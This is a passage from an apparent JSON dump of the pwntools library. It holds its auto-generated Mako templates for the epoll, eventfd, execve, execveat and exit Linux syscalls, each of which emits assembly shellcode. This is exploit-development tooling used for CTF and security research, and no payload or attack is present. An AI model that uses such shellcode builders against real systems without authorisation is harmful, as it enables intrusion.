dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_epoll_pwait']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_epoll_pwait'])\n%>\n    /* epoll_pwait(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/epoll_pwait2.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>epoll_pwait2(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall epoll_pwait2.\n\nSee 'man 2 epoll_pwait2' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_epoll_pwait2']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_epoll_pwait2'])\n%>\n    /* epoll_pwait2(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/epoll_wait.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>epoll_wait(epfd, events, maxevents, timeout) -> str\n\nInvokes the syscall epoll_wait.\n\nSee 'man 2 epoll_wait' for more information.\n\nArguments:\n    epfd(int): epfd\n    events(epoll_event*): events\n    maxevents(int): maxevents\n    timeout(int): timeout\nReturns:\n    int\n</%docstring>\n<%page args=\"epfd=0, events=0, maxevents=0, timeout=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['epfd', 'events', 'maxevents', 'timeout']\n    argument_values = [epfd, events, maxevents, timeout]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_epoll_wait']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_epoll_wait'])\n%>\n    /* epoll_wait(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/epoll_wait_old.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>epoll_wait_old(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall epoll_wait_old.\n\nSee 'man 2 epoll_wait_old' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_epoll_wait_old']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_epoll_wait_old'])\n%>\n    /* epoll_wait_old(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/eventfd.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>eventfd(count, flags) -> str\n\nInvokes the syscall eventfd.\n\nSee 'man 2 eventfd' for more information.\n\nArguments:\n    count(unsigned): count\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"count=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['count', 'flags']\n    argument_values = [count, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_eventfd']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_eventfd'])\n%>\n    /* eventfd(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/eventfd2.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>eventfd2(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall eventfd2.\n\nSee 'man 2 eventfd2' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_eventfd2']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_eventfd2'])\n%>\n    /* eventfd2(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/execve.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>execve(path, argv, envp) -> str\n\nInvokes the syscall execve.\n\nSee 'man 2 execve' for more information.\n\nArguments:\n    path(char*): path\n    argv(char**): argv\n    envp(char**): envp\nReturns:\n    int\n</%docstring>\n<%page args=\"path=0, argv=0, envp=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path']\n    can_pushstr_array = ['argv', 'envp']\n\n    argument_names = ['path', 'argv', 'envp']\n    argument_values = [path, argv, envp]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_execve']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_execve'])\n%>\n    /* execve(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/execveat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>execveat(dirfd, pathname, argv, envp, flags) -> str\n\nInvokes the syscall execveat.\n\nSee 'man 2 execveat' for more information.\n\nArguments:\n    dirfd(int): dirfd\n    pathname(char*): pathname\n    argv(char**): argv\n    envp(char**): envp\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"dirfd=0, pathname=0, argv=0, envp=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['pathname']\n    can_pushstr_array = ['argv', 'envp']\n\n    argument_names = ['dirfd', 'pathname', 'argv', 'envp', 'flags']\n    argument_values = [dirfd, pathname, argv, envp, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_execveat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_execveat'])\n%>\n    /* execveat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/exit.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>exit(status) -> str\n\nInvokes the syscall exit.\n\nSee 'man 2 exit' for more information.\n\nArguments:\n    status(int): status\nReturns:\n    void\n</%docstring>\n<%page args=\"status=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['status']\n    argument_values = [status]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_exit']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_exit'])\n%>\n    /* exit(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/exit_group.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>exit_group(status) -> str\n\nInvokes the syscall exit_group.\n\nSee 'man 2 exit_group' for more information.\n\nArguments:\n    status(int): status\nReturns:\n    void\n</%docstring>\n<%page args=\"status=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['status']\n    argument_values = [status]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n 